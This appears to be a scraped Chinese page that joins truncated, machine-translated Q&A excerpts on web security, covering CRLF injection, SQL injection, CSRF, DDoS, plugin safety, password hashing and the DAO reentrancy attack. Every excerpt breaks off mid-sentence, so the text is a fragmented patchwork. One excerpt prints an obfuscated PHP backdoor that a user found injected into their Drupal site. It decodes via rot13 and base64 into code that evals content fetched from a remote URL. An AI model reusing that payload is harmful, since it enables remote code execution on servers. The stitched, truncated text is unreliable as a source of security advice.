我有一个允许一个文件附件并生成一封电子邮件到硬编码地址的表单。我想避免恶意用户输入自定义邮件header的可能性(CRLF注入(inject)，因为根据RFC电子邮件header以\r\n结尾，所以称为CRLF注入(inject))。假设我对可能进入$additional_headers的每条数据运行以下函数参数:这仅替换了CRLF对的回车一半。这能充分防止潜在的攻击吗？通常我会用空字符串替换\r\n。但是这种特殊形式允许一个附件，这意味着消息正文实际上最终会通过$additional_headers参数传递，因为PHP没有用于构建多部分MIME编码电子邮件的native函数(据我所知
我对采埃孚的安全性没有任何概念。操作数据库一定要用Filter吗？也许绑定(bind)就足够了？这个怎么样:$users->update($data,'id=1');是否应该以某种方式过滤$data数组？请随意写下您对这个问题的任何了解。您能否提供一些有关ZF安全性的好文章的链接(主要是关于SQL注入(inject)和XSS)？ 最佳答案 简答虽然ZF采取并提供了一些措施来保护您的应用程序，但您仍应采取与没有ZendFramework时相同的预防措施。关于您的代码片段，请查看关于Zend_DbintheReferenceGuide的
我想知道你们采取了哪些措施来防止下载的插件成为恶意插件？比如wordpress做了什么来保证你下载的插件不是简单的执行unlink('/')我假设它部分取决于下载者安装插件以使用他或她自己的判断力，但插件系统是否采取措施将运行第3方插件的安全风险降至最低？谢谢!马特·穆勒 最佳答案 简单的答案:您不能以编程方式执行此操作。根本做不到。当然，Wordpress有某种验证器来确定该插件是否完全有害，但无法确定它是否安全。我今年夏天在Mozilla实习，我正在研究验证器，它会在附加组件提交到addons.mozilla.org时对其进行扫
我的网站受到DDos攻击(UDP泛洪攻击)!我无法访问linuxshell，我只能使用cpanel!:(是否可以通过php脚本来防止这种攻击？有没有办法配置cpanel来减少或重定向攻击？怎么办？根据网络托管帮助台:攻击速度在6到10Gbit/s之间!!!下面的代码有用吗？time()-2){//userswillberedirectedtothispageifitmakesrequestsfasterthan2secondsheader("Location:/flood.html");exit;}$_SESSION['last_session_request']=time();?>硬
据我了解，Web开发人员应该创建token并将其放在表单的隐藏字段中以防止CSRF攻击。此外，他应该在session中保存相同的token，然后在提交表单时检查token是否相等。我来质疑了……是否有必要对所有形态都做这个技巧？我的意思是，想象一下为登录而创建的表单。如果没有CSRF保护，我看不到对网站和/或用户造成任何伤害，因为用户没有特权(就像他登录后一样)。注册也是如此……我说得对吗？附言如果我错了，请解释一下这个概念。 最佳答案 CSRF试图防止的危险是当您遇到以下情况时:用户已登录或其他，并具有一定的权限坏人在未经用户许可
TheDAO事件首先简要说明下一个很有名的重入攻击事件，再模拟重入攻击。TheDAO是分布式自治组织，2016年5月正式发布，该项目使用了由德国以太坊创业公司Slock.it编写的开源代码。2016年6月17上午，被攻击的消息开始在社交网站上出现，到6月18日黑客将超过360万个以太币转移到一个childDAO项目中，childDAO项目和TheDAO有着一样的结构，当时以太币的价格从20美元降到了13美元。当时，一个所谓的”递归调用“攻击（现在称为重入攻击）名词随之出现，这种攻击可以被用来消耗一些智能合约账户。这次的黑客攻击最终导致了以太坊硬分叉，分为ETH和ETC，分叉前的为ETC（以太坊
今天，我的drupal6站点中的所有节点都出现了这个添加的php脚本?php$node->nid=849;preg_replace('/^(.'.'*'.')$/'.'e',preg_replace('/^(.'.'*'.')$/'.'e','str'.'_'.'rot'.(27-14).'(\'\1\')','riny(onfr'.(12*3+4*7).'_qrpbqr(\\'.(2/2).'))'),'aWYoIWZ1bmN0aW9uX2V4aXN0cygnbm9kZV91cGRhdGVfbG9nJykpQGV2YWwoQGZpbGVfZ2V0X2NvbnRlbnRzKCdodHR
我在PHP.net上看到MD5没用，他们建议使用crypt+salt。于是，我就去看了他们的功能描述或者在我的例子中是这样的:$stored_password=fetch_password($user);if(crypt($_REQUEST['password'],$stored_password)===$stored_password){//ok}因此，当我看到盐存储在散列密码中并且您使用该散列密码作为盐时，我认为Crypt+Salt对于输出的暴力破解(设法窃取散列密码的黑客)并不更安全).它更安全吗？对于字典攻击，我能理解它的威力，但对于对散列密码的暴力攻击，我看不到它的优势。
这个问题在这里已经有了答案:关闭10年前。PossibleDuplicate:Whatdoesmysql_real_escape_string()dothataddslashes()doesn't?我一直在查看关于PHP的addslashes函数如何/为什么易受sql注入(inject)攻击的文章。我读过的所有内容都说特定的mysql编码类型(default-character-set=GBK)存在问题，或者如果启用了magic_quotes则存在问题。但是，在这种情况下，我无法突破addslashes()函数并执行一些恶意操作-例如以管理员身份登录。$user=addslashes(
如果我使用PHP的fopen()函数从HTTPS网站检索数据，这就是所谓的安全HTTPS连接。即它是否提供针对中间人和窃听攻击的保护？ 最佳答案 不是默认的，不是。它将始终提供某种形式的保护以防止简单的窃听攻击，因为数据将始终被加密(只要您连接到的SSL服务器允许至少使用一种加密密码-是的，空加密密码是在HTTPS连接中允许:roll-eyes:)但是，默认情况下，它不会防止中间人攻击，因为它不会验证服务器的证书，因此您无法确信您已连接到预期的目标服务器。可以打开证书验证。为此，您需要提供一个根证书包，并使用fopen的第四个参数来
